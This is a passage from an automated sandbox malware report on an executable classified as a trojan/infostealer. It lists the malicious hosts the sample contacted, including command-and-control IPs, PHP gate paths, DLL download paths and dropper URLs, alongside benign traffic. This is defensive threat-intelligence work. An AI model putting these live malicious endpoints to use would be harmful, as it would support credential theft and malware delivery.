story-tense-faz.sbs	unknown	unknown	false	high
frogs-severz.sbs	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://sb.scorecardresearch.com/b2?rn=1732733358995&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0941BF85F38264F21CE2AAC1F2AB6567&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732733362308&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732733358992&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPPG1732630737	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732733368192&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, HJKJKKKJ.1.dr, HCAEHDHD.1.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, HJKJKKKJ.1.dr, HCAEHDHD.1.dr	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/_default	QuotaManager.16.dr	false		high
https://docs.google.com/	manifest.json0.16.dr	false		high
http://www.valvesoftware.com/legal.htm	ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, 7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://www.instagram.com	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://disobey-curly.sbs:443/api	ff628321ee.exe, 00000027.00000002.2546839867.0000000000AED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://i.y.qq.com/n2/m/index.html	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	BFHDAEHDAKECGCAKFCFIJDHJDB.1.dr	false		high
https://www.deezer.com/	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://web.telegram.org/	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=OgygW_VD	ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.16.dr	false		high
https://marshal-zhukov.c	ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/well/random.exe613	skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, HJKJKKKJ.1.dr, HCAEHDHD.1.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, HCAEHDHD.1.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.16.dr	false		high
https://excel.new?from=EdgeM365Shoreline	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.16.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://httpbin.org/ipbefore	dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	false		high
http://185.215.113.43/c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#	skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blade-govern.sbs/api	ff628321ee.exe, 00000027.00000002.2546839867.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	manifest.json.16.dr	false		high
http://home.twentykm20sr.top/iYUeIWtRvzKHTkiRYPPG1732630737?argument=cRSANoghLkYk4tDK1732726804se	dd3583c805.exe, 00000023.00000002.2571643369.0000000001747000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.steampowereH	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000001.00000002.1918898498.0000000023901000.00000004.00000020.00020000.00000000.sdmp, HIIDGCGCBFBAKFHIJDBA.1.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.16.dr	false		high
https://chrome.google.com/webstore/	manifest.json.16.dr	false		high
http://185.215.113.206rontdesk	file.exe, 00000001.00000002.1874484736.00000000002D5000.00000040.00000001.01000000.00000003.sdmp	false		high
https://bard.google.com/	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://marshal-zhukov.ch	ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php/i	ef7381e244.exe, 00000025.00000002.2528677354.0000000000EEF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://html4/loose.dtd	dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://powerful-avoids.sbs/l	ff628321ee.exe, 00000027.00000002.2546839867.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpY	file.exe, 00000001.00000002.1877420481.0000000001404000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=4Vb3xc8UazdB&a	ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpAB	ef7381e244.exe, 00000025.00000002.2528677354.0000000000F05000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.office.com	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://outlook.live.com/mail/0/	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://help.steampowered.com/en/	ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://property-imper.sbs/api	ff628321ee.exe, 00000027.00000002.2546839867.0000000000A9B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpi	file.exe, 00000001.00000002.1877420481.0000000001404000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.css	dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpN	skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tidal.com/	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpO	skotes.exe, 00000020.00000002.2565129579.0000000001277000.00000004.00000020.00020000.00000000.sdmp	false		high
https://player.viX	ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gaana.com/	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/compose?isExtension=true	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://apis.google.com	chromecache_319.12.dr	false		high
https://marshal-zhukov.com/apiM	ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/workshop/	ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	ff628321ee.exe, 00000024.00000003.2452459988.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
http://.jpg	dd3583c805.exe, 00000023.00000003.2306326130.00000000073DF000.00000004.00001000.00020000.00000000.sdmp, dd3583c805.exe, 00000023.00000002.2545797498.0000000000920000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://latest.web.skype.com/?browsername=edge_canary_shoreline	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://marshal-zhukov.com/apiT	ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://word.new?from=EdgeM365Shoreline	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000001.00000003.1507921354.0000000001490000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2495193752.0000000005F92000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, HJKJKKKJ.1.dr, HCAEHDHD.1.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/mu/mp/266/#tl/Inbox	7339863d-0492-49d7-81aa-e28af8aa7e47.tmp.16.dr	false		high
https://marshal-zhukov.com/l	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	ff628321ee.exe, 00000024.00000002.2566492588.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452408947.0000000001737000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452459988.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2452092508.0000000001732000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-autopush.corp.google.com/	manifest.json0.16.dr	false		high
http://185.215.113.16/steam/random.exe	skotes.exe, 00000020.00000002.2565129579.00000000011FB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000001.00000002.1918898498.0000000023901000.00000004.00000020.00020000.00000000.sdmp, HIIDGCGCBFBAKFHIJDBA.1.dr	false		high
https://marshal-zhukov.com/U	ff628321ee.exe, 00000024.00000002.2566492588.00000000016D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.200.88.35	unknown	United States	16625	AKAMAI-ASUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.40.82.182	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
18.213.123.165	httpbin.org	United States	14618	AMAZON-AESUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.117.182.18	unknown	United States	20940	AKAMAI-ASN1EU	false
52.168.117.168	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
18.238.49.52	unknown	United States	16509	AMAZON-02US	false
34.118.84.150	home.twentykm20sr.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.161.69.30	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
104.121.10.34	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
23.44.203.72	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.203.73	unknown	United States	20940	AKAMAI-ASN1EU	false
104.21.82.174	marshal-zhukov.com	United States	13335	CLOUDFLARENETUS	false
142.250.181.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
23.44.203.75	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.7
127.0.0.1
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564014
Start date and time:	2024-11-27 17:57:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@78/302@101/33
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.19.238, 74.125.205.84, 34.104.35.123, 93.184.221.240, 172.217.21.35, 172.217.17.74, 172.217.17.42, 172.217.19.234, 172.217.21.42, 142.250.181.74, 142.250.181.106, 142.250.181.138, 172.217.19.202, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.69.228, 2.16.158.34, 2.16.158.35, 2.16.158.49, 2.16.158.51, 2.16.158.33, 2.16.158.40, 2.16.158.56, 2.16.158.50, 2.16.158.48, 2.16.10.182, 2.16.10.175, 23.32.239.58, 23.32.239.57, 2.16.158.89, 2.16.158.179, 2.16.158.88, 2.16.158.97, 2.16.158.176, 2.16.158.83, 2.16.158.169, 2.16.158.96, 2.16.158.171, 2.22.248.34, 2.22.248.26, 2.22.248.31, 2.22.248.4, 2.22.248.33, 2.22.248.29, 2.22.248.30, 2.22.248.6, 2.22.248.5, 13.87.96.169, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.16.10.178, 2.16.10.164, 69.164.46.0, 34.209.229.249, 52.32.237.164, 52.27.142.243, 142.251.32.99, 142.251.41.3, 142.250.80.3, 142.250.65.227, 142.250.64.67, 142.250.80.67
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, aus5.mozilla.org, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, location.ser
